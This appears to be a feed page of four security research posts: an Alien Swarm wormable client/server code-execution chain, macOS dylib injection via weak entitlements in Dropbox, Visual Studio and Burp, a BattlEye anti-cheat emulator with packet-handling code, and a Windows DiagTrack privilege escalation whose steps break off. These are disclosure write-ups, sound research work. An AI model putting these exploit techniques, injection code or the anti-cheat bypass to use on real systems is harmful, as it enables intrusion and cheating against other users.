Normal view

There are new articles available, click to refresh the page.
Before yesterdayReverse Engineering

Wormable remote code execution in Alien Swarm

By: mev
30 October 2020 at 23:00

Alien Swarm was originally a free game released circa July 2010. It differs from most Source Engine games in that it is a top-down shooter, though with gameplay elements not dissimilar from Left 4 Dead. Fallen to the wayside, a small but dedicated community has expanded the game with Alien Swarm: Reactive Drop. The game averages about 800 users per day at peak, and is still actively updated.

Over a decade ago, multiple logic bugs in Source and GoldSrc titles allowed execution of arbitrary code from client to server, and vice-versa, allowing plugins to be stolen or arbitrary data to be written from client to server, or the reverse. We’ll be exploring a modern-day example of this, in Alien Swarm: Reactive Drop.

Client <-> Server file upload

Any Alien Swarm client can upload files to the game server (and vice versa) using the CNetChan->SendFile API, although with some questionable constraints: a client-side check in the game prevents the server from uploading files of certain extensions such as .dll, .cfg:

if ( (!(*(unsigned __int8 (__thiscall **)(int, char *, _DWORD))(*(_DWORD *)(dword_104153C8 + 4) + 40))(
         dword_104153C8 + 4,
         filename,
         0)
   || should_redownload_file((int)filename))
  && !strstr(filename, "//")
  && !strstr(filename, "\\\\")
  && !strstr(filename, ":")
  && !strstr(filename, "lua/")
  && !strstr(filename, "gamemodes/")
  && !strstr(filename, "addons/")
  && !strstr(filename, "..")
  && CNetChan::IsValidFileForTransfer(filename) ) // fails if filename ends with ".dll" and more
{ /* accept file */ }
bool CNetChan::IsValidFileForTransfer( const char *input_path )
{
    char fixed_slashes[260];

    if (!input_path || !input_path[0])
        return false;

    int l = strlen(input_path);
    if (l >= sizeof(fixed_slashes))
        return false;

    strncpy(fixed_slashes, input_path, sizeof(fixed_slashes));
    FixSlashes(fixed_slashes, '/');
    if (fixed_slashes[l-1] == '/')
        return false;

    if (
        stristr(input_path, "lua/")
        || stristr(input_path, "gamemodes/")
        || stristr(input_path, "scripts/")
        || stristr(input_path, "addons/")
        || stristr(input_path, "cfg/")
        || stristr(input_path, "~/")
        || stristr(input_path, "gamemodes.txt")
        )
        return false;

    const char *ext = strrchr(input_path, '.');
    if (!ext)
        return false;

    int ext_len = strlen(ext);
    if (ext_len > 4 || ext_len < 3)
        return false;

    const char *check = ext;
    while (*check)
    {
        if (isspace(*check))
            return false;

        ++check;
    }

    if (!stricmp(ext, ".cfg") ||
        !stricmp(ext, ".lst") ||
        !stricmp(ext, ".lmp") ||
        !stricmp(ext, ".exe") ||
        !stricmp(ext, ".vbs") ||
        !stricmp(ext, ".com") ||
        !stricmp(ext, ".bat") ||
        !stricmp(ext, ".dll") ||
        !stricmp(ext, ".ini") ||
        !stricmp(ext, ".log") ||
        !stricmp(ext, ".lua") ||
        !stricmp(ext, ".nut") ||
        !stricmp(ext, ".vdf") ||
        !stricmp(ext, ".smx") ||
        !stricmp(ext, ".gcf") ||
        !stricmp(ext, ".sys"))
        return false;

    return true;
}

Bypassing "//" and ".." can be done with "/\\" because there is a call to FixSlashes that makes proper slashes after the sanity check, and for the ".." the "/\\" will set the path to the root of the drive, so we can write to anywhere on the system if we know the path. Bypassing "lua/", "gamemodes/" and "addons/" can be done by using capital letters e.g. "ADDONS/" since file paths are not case sensitive on Windows.

Bypassing the file extension check is a bit more tricky, so let’s look at the structure sent by SendFile called dataFragments_t:

typedef struct dataFragments_s
{
    FileHandle_t    file;                 // open file handle
    char            filename[260];        // filename
    char*           buffer;               // if NULL it's a file
    unsigned int    bytes;                // size in bytes
    unsigned int    bits;                 // size in bits
    unsigned int    transferID;           // only for files
    bool            isCompressed;         // true if data is bzip compressed
    unsigned int    nUncompressedSize;    // full size in bytes
    bool            isReplayDemo;         // if it's a file, is it a replay .dem file?
    int             numFragments;         // number of total fragments
    int             ackedFragments;       // number of fragments send & acknowledged
    int             pendingFragments;     // number of fragments send, but not acknowledged yet
} dataFragments_t;

The 260 bytes name buffer in dataFragments_t is used for the file name checks and filters, but is later copied and then truncated to 256 bytes after all the sanity checks thus removing our fake extension and activating the malicious extension:

Q_strncpy( rc->gamePath, gamePath, BufferSize /* BufferSize = 256 */ );

Using a file name such as ./././(...)/file.dll.txt (pad to max length with ./) would get truncated to ./././(...)/file.dll on the receiving end after checking if the file extension is valid. This also has the side effect that we can overwrite files as the file exists check is done before the file extension truncation.

Remote code execution

Using the aforementioned remote file inclusion, we can upload Source Engine config files which have the potential to execute arbitrary code. Using Procmon, I discovered that the game engine searches for the config file in both platform/cfg and swarm/cfg respectively:

procmon

We can simply upload a malicious plugin and config file to platform/cfg and hijack the server. This is due to the fact that the Source Engine server config has the capability to load plugins with the plugin_load command:

plugin_load addons/alien_swarm_exploit.dll

This will load our dynamic library into the game server application, granting arbitrary code execution. The only constraint is that the newmapsettings.cfg config file is only reloaded on map change, so you will have to wait till the end of a game.

Wormable demonstration

Since both of these exploits apply to both the server and the client, we can infect a server, which can infect all players, which can carry on the virus when playing other servers. This makes this exploit chain completely wormable and nothing but a complete shutdown of the game servers can fix it.

Timeline

  • [2020-05-12] Reported to Valve on HackerOne
  • [2020-05-13] Triaged by Valve: “Looking into it!”
  • [2020-08-03] Patched in beta branch
  • [2020-08-18] Patched in release

Abusing MacOS Entitlements for code execution

By: impost0r
14 August 2020 at 23:00

Recently I disclosed some vulnerabilities to Dropbox and PortSwigger via H1 and Microsoft via MSRC pertaining to Application entitlements on MacOS. We’ll be exploring what entitlements are, what exactly you can do with them, and how they can be used to bypass security products.

These are all unpatched as of publish.

What’s an Entitlement?

On MacOS, an entitlement is a string that grants an Application specific permissions to perform specific tasks that may have an impact on the integrity of the system or user privacy. Entitlements can be viewed with the comand codesign -d --entitlements - $file.

Viewing the entitlements of the main Dropbox binary.

For the above image, we can see the key entitlements com.apple.security.cs.allow-unsigned-executable-memory and com.apple.security.cs.disable-library-validation - they allow exactly what they say on the tin. We’ll explore Dropbox first, as it’s the more involved of the two to exploit.

Dropbox

Just as Windows has PE and Linux has ELF, MacOS has its own executable format, Mach-O (short for Mach-Object). Mach-O files are used on all Apple products, ranging from iOS, to tvOS, to MacOS. In fact, all these operating systems share a common heritage stemming from NeXTStep, though that’s beyond the scope of this article.

MacOS has a variety of security protections in place, including Gatekeeper, AMFI (AppleMobileFileIntegrity), SIP (System Integrity Protection, a form of mandatory access control), code signing, etc. Gatekeeper is akin to Windows SmartScreen in that it fingerprints files, checks them against a list on Apple’s servers, and returns the value to determine if the file is safe to run. `

This is vastly simplified.

There are three configurable options, though the third is hidden by default - App Store only, App Store and identified developers, and “anywhere”, the third presumably hidden to minimize accidental compromise. Gatekeeper can also be managed by the command line tool, spctl(8), for more granular control of the system. One can even disable Gatekeeper entirely through spctl --master-disable, though this requires superuser access. It’s to be noted that this does not invalidate rules already in the System Policy database (/var/db/SystemPolicy), but allows anything not in the database, regardless of notarization, etc, to run unimpeded.

Now, back to Dropbox. Dropbox is compiled using the hardened runtime, meaning that without specific entitlements, JIT code cannot be executed, DYLD environment variables are automatically ignored, and unsigned libraries are not loaded (often resulting in a SIGKILL of the binary.) We can see that Dropbox allows unsigned executable memory, allowing shellcode injection, and has library validation disabled - meaning that any library can be inserted into the process. But how?

Using LIEF, we can easily add a new LoadCommand to Dropbox. In the following picture, you can see my tool, Coronzon, which is based off of yololib, doing the same.

Adding a LoadCommand to Dropbox

import lief

file = lief.parse('Dropbox')
file.add_library('inject.dylib')
file.write('Dropbox')

Using code similar to the following, one can execute code within the context of the Dropbox process (albeit via voiding the code signature - you’re best off stripping the code signature, or it won’t run from /Applications/). You’ll either have to strip the code signature or ad-hoc sign it to get it to run from /Applications/, though the application will lose any entitlements and TCC rights previously granted. You’ll have to use a technique known as dylib proxying - which is to say, replacing a library that is part of the application bundle with one of the same name that re-exports the library it’s replacing. (Using the link-time flags `-Xlinker -reexport_library $(PATH_TO_LIBRARY)).

#include <stdio.h>
#include <stdlib.h>
#include <syslog.h>

__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
 {
     printf("Hello from dylib!\n");
     syslog(LOG_ERR, "Dylib injection successful in %s\n", argv[0]);
     system("open -a Calculator");
}

This is a simple example, but combined with something like frida-gum the impact becomes much more severe - allowing application introspection and runtime modification without the user’s knowledge. This makes for a great, persistent usermode implant, as Dropbox is added as a LaunchItem.

Visual Studio

Microsoft releases a cut-down version of their premier IDE for MacOS, mainly for C# development with Xamarin, .NET Core, and Mono. Though ‘cut-down’, it still supports many features of the original, including NuGet, IntelliSense, and more.

It also has some interesting entitlements.

Viewing the entitlements of the main Visual Studio binary.

Of course, MacOS users are treated as second class citizens in Microsoft’s ecosystem and Microsoft could not give a damn about the impact this has on the end user - which is similar in impact to the above, albeit more severe. We can see that basically every single feature of the hardened runtime is disabled - enabling the simplest of code injection methods, via the DYLD_INSERT_LIBRARIES environment variable. The following video is a proof of concept of just how easily code can be executed within the context of Visual Studio.

Keep in mind: code executing in this context will inherit the entitlements and TCC values of the parent. It’s not hard to imagine a scenario in which IP (intellectual property) theft could result from Microsoft’s attempts at ‘hardening’ Visual Studio for Mac. As with Dropbox, all the security implications are the same, yet it’s about 30x easier to pull off as DYLD environment variables are allowed.

Burp Suite

I’m sure most reading this article are familiar with Burp Suite. If not - it’s a web exploitation Swiss army knife that aids in recon, pre, and post-exploitation. So why don’t we exploit it?

This time, we’ll be exploiting the Burp Suite installer. As you’ll probably guess by now, it has some… interesting entitlements.

Viewing the entitlements of the Burp Installer stub.

Aside from the output lacking newlines, exploitation in this case is different. There are no shell scripts in the install (nor is the entitlement for allowing DYLD environment variables present), and if we’re going to create a malicious installer, we need to use what’s already packaged. So, we’ll tamper with the included JRE (jre.tar.gz) that’s included with the installer.

There’s actually two approaches to this - replacing a dylib outright or dylib hijacking. Dylib hijacking is similar to it’s partner, DLL hijacking, on Windows, in that it abuses the executable searching for a library that may or may not be there, usually specified by @rpath or sometimes a ‘weakref’. A weakref is a library that doesn’t need to be loaded, but can be loaded. For more information on dylib hijacking, I reccomend this excellent presentation by Patrick Wardle of Objective-See. For brevity, however, we’ll just be replacing a .dylib in the JRE.

The way the installer executes is that it extracts the JRE to a temporary location during install, which is used for the rest of the install. This temporary location is randomized and actually adds a layer of obfuscation to our attack, as no two executions will have the JRE extracted into the same place. Once the JRE is extraced, it’s loaded and attempts to install Burp Suite. This allows us to execute unsigned code under the guise and context of Burp Suite, running code in the background unbenknownst to the user. Thankfully Burp Suite doesn’t (currently) require elevated privileges to install on macOS. Nonetheless, this is an issue due to the ease of forging a malicious installer and the fact that Gatekeeper is none the wiser.

A proof of concept can be viewed below.

Conclusions

Entitlements are both a valuable component of MacOS’ security model, but can also be a double edged sword. You’ve seen how trivivally Gatekeeper and existing OS protections can be bypassed by leveraging a weak application as a trampoline - the one with the most impact in this case I argue to be Dropbox, due to inheritance of Dropbox’s TCC permissions and being a LaunchItem, thus gaining persistence. Thus, entitlements provide a valuable addition to the attack surface of MacOS for any red-teamer or bug-bounty hunter. Your mileage may vary, however - Dropbox and Microsoft didn’t seem to care much. (PortSwigger, on the other hand, admitted that due to the design of Burp Suite and inherent language intrinsics it’s extremely hard to prevent such an attack - and I don’t fault them).

Happy hacking.

Disclosure Timelines


Dropbox

  • June 11th, initial disclosure.
  • June 17th, additional information added
  • June 20th, closed as Informative

Visual Studio

  • June 19th, initial disclosure
  • June 22nd, closed (“Upon investigation, we have determined that this submission does not meet the bar for security servicing. This report does not appear to identify a weakness in a Microsoft product or service that would enable an attacker to compromise the integrity, availability, or confidentiality of a Microsoft offering. “)

Burp Suite

  • June 27th, initial disclosure
  • June 30th, closed as Informative

BattlEye client emulation

By: vmcall
6 July 2020 at 23:00

The popular anti-cheat BattlEye is widely used by modern online games such as Escape from Tarkov and is considered an industry standard anti-cheat by many. In this article I will demonstrate a method I have been utilizing for the past year, which enables you to play any BattlEye-protected game online without even having to install BattlEye.

BattlEye initialisation

BattlEye is dynamically loaded by the respective game on startup to initialize the software service (“BEService”) and kernel driver (“BEDaisy”). These two components are critical in ensuring the integrity of the game, but the most critical component by far is the usermode library (“BEClient”) that the game interacts with directly. This module exports two functions: GetVer and more importantly Init.

The Init routine is what the game will call, but this functionality has never been documented before, as people mostly focus on BEDaisy or their shellcode. Most important routines in BEClient, including Init, are protected and virtualised by VMProtect, which we are able to devirtualise and reverse engineer thanks to vtil by secret club member Can Boluk, but the inner workings of BEClient is a topic for a later part of this series, so here is a quick summary.

Init and its arguments have the following definitions:

// BEClient_x64!Init
__declspec(dllexport)
battleye::instance_status Init(std::uint64_t integration_version,
                               battleye::becl_game_data* game_data,
                               battleye::becl_be_data* client_data);
  
enum instance_status
{
    NONE,
    NOT_INITIALIZED,
    SUCCESSFULLY_INITIALIZED,
    DESTROYING,
    DESTROYED
};

struct becl_game_data
{
    char*         game_version;
    std::uint32_t address;
    std::uint16_t port;

    // FUNCTIONS
    using print_message_t = void(*)(char* message);
    print_message_t print_message;

    using request_restart_t = void(*)(std::uint32_t reason);
    request_restart_t request_restart;

    using send_packet_t = void(*)(void* packet, std::uint32_t length);
    send_packet_t send_packet;

    using disconnect_peer_t = void(*)(std::uint8_t* guid, std::uint32_t guid_length, char* reason);
    disconnect_peer_t disconnect_peer;
};

struct becl_be_data
{
    using exit_t = bool(*)();
    exit_t exit;

    using run_t = void(*)();
    run_t run;

    using command_t = void(*)(char* command);
    command_t command;

    using received_packet_t = void(*)(std::uint8_t* received_packet, std::uint32_t length);
    received_packet_t received_packet;

    using on_receive_auth_ticket_t = void(*)(std::uint8_t* ticket, std::uint32_t length);
    on_receive_auth_ticket_t on_receive_auth_ticket;

    using add_peer_t = void(*)(std::uint8_t* guid, std::uint32_t guid_length);
    add_peer_t add_peer;

    using remove_peer_t = void(*)(std::uint8_t* guid, std::uint32_t guid_length);
    remove_peer_t remove_peer;
};

As seen, these are quite simple containers for interopability between the game and BEClient. becl_game_data is defined by the game and contains functions that BEClient needs to call (for example, send_packet) while becl_be_data is defined by BEClient and contains callbacks used by the game after initialisation (for example, received_packet). Note that these two structures slightly differ in some games that have special functionality, such as the recently introduced packet encryption in Escape from Tarkov that we’ve already cracked. Older versions of BattlEye (DayZ, Arma, etc.) use a completely different approach with function pointer swap hooks to intercept traffic communication, and therefore these structures don’t apply.

A simple Init implementation would look like this:

// BEClient_x64!Init
__declspec(dllexport)
battleye::instance_status Init(std::uint64_t integration_version,
                               battleye::becl_game_data* game_data,
                               battleye::becl_be_data* client_data)
{
    // CACHE RELEVANT FUNCTIONS
    battleye::delegate::o_send_packet    = game_data->send_packet;

    // SETUP CLIENT STRUCTURE
    client_data->exit                   = battleye::delegate::exit;
    client_data->run                    = battleye::delegate::run;
    client_data->command                = battleye::delegate::command;
    client_data->received_packet        = battleye::delegate::received_packet;
    client_data->on_receive_auth_ticket = battleye::delegate::on_receive_auth_ticket;
    client_data->add_peer               = battleye::delegate::add_peer;
    client_data->remove_peer            = battleye::delegate::remove_peer;

    return battleye::instance_status::SUCCESSFULLY_INITIALIZED;
}

This would allow our custom BattlEye client to receive packets sent from the game server’s BEServer module.

Packet handling

The function received_packet is by far the most important routine used by the game, as it handles incoming packets from the BattlEye server component. BattlEye communication is extremely simple compared to how important the integrity of it is. In recent versions of BattlEye, packets follow the same general structure:

#pragma pack(push, 1)
struct be_fragment
{
    std::uint8_t count;
    std::uint8_t index;
};

struct be_packet_header
{
    std::uint8_t id;
    std::uint8_t sequence;
};

struct be_packet : be_packet_header
{
    union 
    {
        be_fragment fragment;

        // DATA STARTS AT body[1] IF PACKET IS FRAGMENTED
        struct
        {
            std::uint8_t no_fragmentation_flag;
            std::uint8_t body[0];
        };
    };
    inline bool fragmented()
    {
        return this->fragment.count != 0x00;
    }
};
#pragma pack(pop)

All packets have an identifier and a sequence number (which is used by the requests/response communication and the heartbeat). Requests and responses have a fragmentation mode which allows BEServer and BEClient to send packets in chunks of 0x400 bytes (seemingly arbitrary) instead of sending one big packet.

In the current iteration of BattlEye, the following packets are used for communication:

INIT (00)

This packet is sent to the BEClient module as soon as the connection with the game server has been established. This packet is only transmitted once, contains no data besides the packet id 00 and the response to this packet is simply 00 05.

START (‘02’)

This packet is sent right after the ‘INIT’ packets have been exchanged, and contains the server-generated guid of the client. The response of this packet is simply the header: 02 00

REQUEST (04) / RESPONSE (05)

This type of packet is sent from BEServer to BEClient to request (and in rare cases, simply transmit) data, and BEClient will send back data for that request using the RESPONSE packet type.

The first request contains crucial information such as service- and integration version, not responding to it will get you disconnected by the game server. Afterwards, requests are game specific.

HEARTBEAT (09)

This type of packet is used by the BEServer module to ensure that the connection hasn’t been dropped. It is sent every 30 seconds using a sequential index, and if the client doesn’t respond with the same packet, the client is disconnected from the game server. This heartbeat packet is only three bytes long, with the sequential index used for synchronization being incremental and therefore easily emulated. An example heartbeat could be: 09 01 00, which is the second heartbeat (sequence starts at zero) transmitted.

Emulation

With this knowledge, it is possible by emulating the entire BattlEye anti-cheat with only two proprietary points of data: the responses for request sequence one and two. These can be intercepted using a tool such as wireshark and replayed as many times as you want for the respective game, because the packet encryption used by BattlEye is static and contextless.

Emulating the INIT packet is as stated simply responding with the sequence number five:

case battleye::packet_id::INIT:
{
    auto info_packet = battleye::be_packet{};
    info_packet.id       = battleye::packet_id::INIT;
    info_packet.sequence = 0x05;

    battleye::delegate::o_send_packet(&info_packet, sizeof(info_packet));
    break;
}

Emulating the START packet is done by replying with the received packet’s header:

case battleye::packet_id::START:
{
    battleye::delegate::o_send_packet(received_packet, sizeof(battleye::be_packet_header));
    break;
}

Emulating the HEARTBEAT packets is done by replying with the received packet:

case battleye::packet_id::HEARTBEAT:    
{
    battleye::delegate::o_send_packet(received_packet, length);
    break;
}

Emulating the REQUEST packets can be done by replaying previously generated responses, which can be logged with code hooks or man-in-the-middle software. These packets are game specific and some games might disconnect you for not handling a specific request, but most games only require the first two requests to be handled, afterwards simply replying with the packet header is enough to not get disconnected by the game server. It is important to notice that all REQUEST packets are immediately responded to with the header, to let the server know that the client is aware of the request. This is how BottlEye emulates them:

case battleye::packet_id::REQUEST:
{
    // IF NOT FRAGMENTED RESPOND IMMEDIATELY, ELSE ONLY RESPOND TO THE LAST FRAGMENT
    const auto respond = 
        !header->fragmented() || 
        (header->fragment.index == header->fragment.count - 1);

    if (!respond)
        return;

    // SEND BACK HEADER
    battleye::delegate::o_send_packet(received_packet, sizeof(battleye::be_packet_header));

    switch (header->sequence)
    {
    case 0x01:
    {
        battleye::delegate::respond(header->sequence,
            {
                // REDACTED BUFFER
            });
        break;
    }
    case 0x02:
    {
        battleye::delegate::respond(header->sequence, 
            {    
                // REDACTED BUFFER
            });
        break;
    }
    default:
        break;
    }
    break;
}

Which uses the following helper function for responses:

void battleye::delegate::respond(
    std::uint8_t response_index, 
    std::initializer_list<std::uint8_t> data)
{
    // SETUP RESPONSE PACKET WITH TWO-BYTE HEADER + NO-FRAGMENTATION TOGGLE

    const auto size = sizeof(battleye::be_packet_header) + 
                      sizeof(battleye::be_fragment::count) + 
                      data.size();

    auto packet = std::make_unique<std::uint8_t[]>(size);
    auto packet_buffer = packet.get();

    packet_buffer[0] = (battleye::packet_id::RESPONSE); // PACKET ID
    packet_buffer[1] = (response_index - 1);            // RESPONSE INDEX
    packet_buffer[2] = (0x00);                          // FRAGMENTATION DISABLED


    for (size_t i = 0; i < data.size(); i++)
    {
        packet_buffer[3 + i] = data.begin()[i];
    }

    battleye::delegate::o_send_packet(packet_buffer, size);
}

BottlEye

The full BottlEye project can be found on our GitHub repository. Below you can see this specific project being used in various popular video games.

Fortnite

The following video contains a live demonstration of my BottlEye project being used in the BattlEye-protected game Fortnite. In the video I live debug fortnite while playing online to prove that BattlEye is not loaded.

Insurgency

The following screenshot shows the BattlEye-protected game Insurgency running on Arch in Wine.

Escape from Tarkov

The following screenshot shows the usage of Cheat Engine in the popular, battleye-protected game Escape from Tarkov. This is possible because BattlEye has been replaced with BottlEye on disk.

Thanks to

  • Sabotage
  • Tamimego
  • Atex
  • namazso

Windows Telemetry service elevation of privilege

By: Jonas L
1 July 2020 at 23:00

Today, we will be looking at the “Connected User Experiences and Telemetry service,” also known as “diagtrack.” This article is quite heavy on NTFS-related terminology, so you’ll need to have a good understanding of it.

A feature known as “Advanced Diagnostics” in the Feedback Hub caught my interest. It is triggerable by all users and causes file activity in C:\Windows\Temp, a directory that is writeable for all users.

Reverse engineering the functionality and duplicating the needed interactions was quite a challenge as it used WinRT IPC instead of COM and I did not know WinRT existed, so I had some catching up to do.

In C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2003.1312.0_x64__8wekyb3d8bbwe\Helper.dll, I found a function with surprising possibilities:

WINRT_IMPL_AUTO(void) StartCustomTrace(param::hstring const& customTraceProfile) const;

This function will execute a WindowsPerformanceRecorder profile defined in an XML file specified as an argument in the security context of the Diagtrack Service.

The file path is parsed relative to the System32 folder, so I dropped an XML file in the writeable-for-all directory System32\Spool\Drivers\Color and passed that file path relative to the system directory aforementioned and voila - a trace recording was started by Diagtrack!

If we look at a minimal WindowsPerformanceRecorder profile we’d see something like this:

<WindowsPerformanceRecorder Version="1">
 <Profiles>
  <SystemCollector Id="SystemCollector">
   <BufferSize Value="256" />
   <Buffers Value="4" PercentageOfTotalMemory="true" MaximumBufferSpace="128" />
  </SystemCollector>  
  <EventCollector Id="EventCollector_DiagTrack_1e6a" Name="DiagTrack_1e6a_0">
   <BufferSize Value="256" />
   <Buffers Value="0.9" PercentageOfTotalMemory="true" MaximumBufferSpace="4" />
  </EventCollector>
   <SystemProvider Id="SystemProvider" /> 
  <Profile Id="Performance_Desktop.Verbose.Memory" Name="Performance_Desktop"
     Description="exploit" LoggingMode="File" DetailLevel="Verbose">
   <Collectors>
    <SystemCollectorId Value="SystemCollector">
     <SystemProviderId Value="SystemProvider" />
    </SystemCollectorId> 
    <EventCollectorId Value="EventCollector_DiagTrack_1e6a">
     <EventProviders>
      <EventProviderId Value="EventProvider_d1d93ef7" />
     </EventProviders>
    </EventCollectorId>    
    </Collectors>
  </Profile>
 </Profiles>
</WindowsPerformanceRecorder>

Information Disclosure

Having full control of the file opens some possibilities. The name attribute of the EventCollector element is used to create the filename of the recorded trace. The file path becomes:

C:\Windows\Temp\DiagTrack_alternativeTrace\WPR_initiated_DiagTrackAlternativeLogger_DiagTrack_XXXXXX.etl (where XXXXXX is the value of the name attribute.)

Full control over the filename and path is easily gained by setting the name to: \..\..\file.txt: which becomes the below:

C:\Windows\Temp\DiagTrack_alternativeTrace\WPR_initiated_DiagTrackAlternativeLogger_DiagTrack\..\..\file.txt:.etl

This results in C:\Windows\Temp\file.txt being used.

The recorded traces are opened by SYSTEM with FILE_OVERWRITE_IF as disposition, so it is possible to overwrite any file writeable by SYSTEM. The creation of files and directories (by appending ::$INDEX_ALLOCATION) in locations writeable by SYSTEM is also possible.

The ability to select any ETW provider for traces executed by the service is also interesting from an information disclosure point of view.

One scenario where I could see myself using the data is when you don’t know a filename because a service creates a file in a folder where you do not have permission to list the files.

Such filenames can get leaked by Microsoft-Windows-Kernel-File provider as shown in this snippet from an etl file recorded by adding 22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716 to the WindowsPerformanceRecorder profile file.

<EventData>
 <Data Name="Irp">0xFFFF81828C6AC858</Data>
 <Data Name="FileObject">0xFFFF81828C85E760</Data>
 <Data Name="IssuingThreadId">  10096</Data>
 <Data Name="CreateOptions">0x1000020</Data>
 <Data Name="CreateAttributes">0x0</Data>
 <Data Name="ShareAccess">0x3</Data>
 <Data Name="FileName">\Device\HarddiskVolume2\Users\jonas\OneDrive\Dokumenter\FeedbackHub\DiagnosticLogs\Install and Update-Post-update app experience\2019-12-13T05.42.15-SingleEscalations_132206860759206518\file_14_ProgramData_USOShared_Logs__</Data>
</EventData>

Such leakage can yield exploitation possibility from seemingly unexploitable scenarios.

Other security bypassing providers:

  • Microsoft-Windows-USB-UCX {36DA592D-E43A-4E28-AF6F-4BC57C5A11E8}
  • Microsoft-Windows-USB-USBPORT {C88A4EF5-D048-4013-9408-E04B7DB2814A} (Raw USB data is captured, enabling keyboard logging)
  • Microsoft-Windows-WinINet {43D1A55C-76D6-4F7E-995C-64C711E5CAFE}
  • Microsoft-Windows-WinINet-Capture {A70FF94F-570B-4979-BA5C-E59C9FEAB61B} (Raw HTTP traffic from iexplore, Microsoft Store, etc. is captured - SSL streams get captured pre-encryption.)
  • Microsoft-PEF-WFP-MessageProvider (IPSEC VPN data pre encryption)

Code Execution

Enough about information disclosure, how do we turn this into code execution?

The ability to control the destination of .etl files will most likely not lead to code execution easily; finding another entry point is probably necessary. The limited control over the files content makes exploitation very hard; perhaps crafting an executable PowerShell script or bat file is plausible, but then there is the problem of getting those executed.

Instead, I chose to combine my active trace recording with a call to:

WINRT_IMPL_AUTO(Windows::Foundation::IAsyncAction) SnapCustomTraceAsync(param::hstring const& outputDirectory)

When supplying an outputDirectory value located inside %WINDIR%\temp\DiagTrack_alternativeTrace (Where the .etl files of my running trace are saved) an interesting behavior emerges.

The Diagtrack Service will rename all the created .etl files in DiagTrack_alternativeTrace to the directory given as the outputDirectory argument to SnapCustomTraceAsync. This allows destination control to be acquired because rename operations that occur where the source file gets created in a folder that grants non-privileged users write access are exploitable. This is due to the permission inheritance of files and their parent directories. When a file is moved by a rename operation, the DACL does not change. What this means is that if we can make the destination become %WINDIR%\System32, and somehow move the file then we will still have write permission to the file. So, we know we control the outputDirectory argument of SnapCustomTraceAsync, but some limitations exist.

If the chosen outputDirectory is not a child of %WINDIR%\temp\DiagTrack_alternativeTrace, the rename will not happen. The outputDirectory cannot exist because the Diagtrack Service has to create it. When created, it is created with SYSTEM as its owner; only the READ permission is granted to users.

This is problematic as we cannot make the directory into a mount point. Even if we had the required permissions, we would be stopped by not being able to empty the directory because Diagtrack has placed the snapshot output etl file inside it. Lucky for us, we can circumvent these obstacles by creating two levels of indirection between the outputDirectory destination and DiagTrack_alternativeTrace.

By creating the folder DiagTrack_alternativeTrace\extra\indirections and supplying %WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections\snap as the outputDirectory we allow Diagtrack to create the snap folder with its limited permissions, as we are inside DiagTrack_alternativeTrace. With this, we can rename the extra folder, as it is created by us. The two levels of indirection is necessary to bypass the locking of the directory due to Diagtrack having open files inside the directory. When extra is renamed, we can recreate %WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections\snap (which is now empty) and we have full permissions to it as we are the owner!

Now, we can turn DiagTrack_alternativeTrace\extra\indirections\snap into a mount point targeted at %WINDIR%\system32 and Diagtrack will move all files matching WPR_initiated_DiagTrack*.etl* into %WINDIR%\system32. The files will still be writeable as they were created in a folder that granted users permission to WRITE. Unfortunately, having full control over a file in System32 is not quite enough for code execution… that is, unless we have a way of executing user controllable filenames - like the DiagnosticHub plugin method popularized by James Forshaw. There’s a caveat though, DiagnosticHub now requires any DLL it loads to be signed by Microsoft, but we do have some ways to execute a DLL file in system32 under SYSTEM security context - if the filename is something specific. Another snag though is that the filename is not controllable. So, how can we take control?

If instead of making the mountpoint target System32, we target an Object Directory in the NT namespace and create a symbolic link with the same name as the rename destination file, we gain control over the filename. The target of the symbolic link will become the rename operations destination. For instance, setting it to\??\%WINDIR%\system32\phoneinfo.dll results in write permission to a file the Error Reporting service will load and execute when an error report is submitted out of process. For my mountpoint target I chose \RPC Control as it allows all users to create symbolic links inside.

Let’s try it!

When Diagtrack should have done the rename, nothing happened. This is because, before the rename operation is done, the destination folder is opened, but now is an object directory. This means it’s unable to be opened by the file/directory API calls. This can be circumvented by timing the creation of the mount point to be after the opening of the folder, but before the rename. Normally in such situations, I create a file in the destination folder with the same name as the rename destination file. Then I put an oplock on the file, and when the lock breaks I know the folder check is done and the rename operation is about to begin. Before I release the lock I move the file to another folder and set the mount point on the now empty folder. That trick would not work this time though as the rename operation was configured to not overwrite an already existing file. This also means the rename would abort because of the existing file - without triggering the oplock.

On the verge of giving up I realized something:

If I make the junction point switch target between a benign folder and the object directory every millisecond there is 50% chance of getting the benign directory when the folder check is done and 50% chance of getting the object directory when the rename happens. That gives 25% chance for a rename to validate the check but end up as phoneinfo.dll in System32. I try avoiding race conditions if possible, but in this situation there did not appear to be any other ways forward and I could compensate for the chance of failure by repeating the process. To adjust for the probability of failure I decided to trigger an arbitrary number of renames, and fortunately for us, there’s a detail about the flow that made it possible to trigger as many renames I wanted in the same recording. The renames are not linked to files the diagnostic service knows it has created, so the only requirement is that they are in %WINDIR%\temp\DiagTrack_alternativeTrace and match WPR_initiated_DiagTrack*.etl*

Since we have permission to create files in the target folder, we can now create WPR_initiated_DiagTrack0.etl, WPR_initiated_DiagTrack1.etl, etc. and they will all get renamed!

As the goal is one of the files ending up as phoneinfo.dll in System32, why not just create the files as hard links to the intended payload? This way there is no need to use the WRITE permission to overwrite the file after the move.

After some experimentation I came to the following solution:

  1. Create the folders %WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections
  2. Start diagnostic trace

    • %WINDIR%\temp\DiagTrack_alternativeTrace\WPR_initiated_DiagTrackAlternativeLogger_WPR System Collector.etl is created
  3. Create %WINDIR%\temp\DiagTrack_alternativeTrace\WPR_initiated_DiagTrack[0-100].etl as hardlinks to the payload.
  4. Create symbolic links \RPC Control\WPR_initiated_DiagTrack[0-100.]etl targeting %WINDIR%\system32\phoneinfo.dll
  5. Make OPLOCK on WPR_initiated_DiagTrack100.etl; when broken, check if %WINDIR%\system32\phoneinfo.dll exists. If not, repeat creation of WPR_initiated_DiagTrack[].etl files and matching symbolic links.
  6. Make OPLOCK on on WPR_initiated_DiagTrack0.etl; when it is broken, we know that the rename flow has begun but the first rename operation has not happened yet.

Upon breakage:

  1. rename %WINDIR%\temp\DiagTrack_alternativeTrace\extra to %WINDIR%\temp\DiagTrack_alternativeTrace\{RANDOM-GUID}
  2. Create folders %WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections\snap
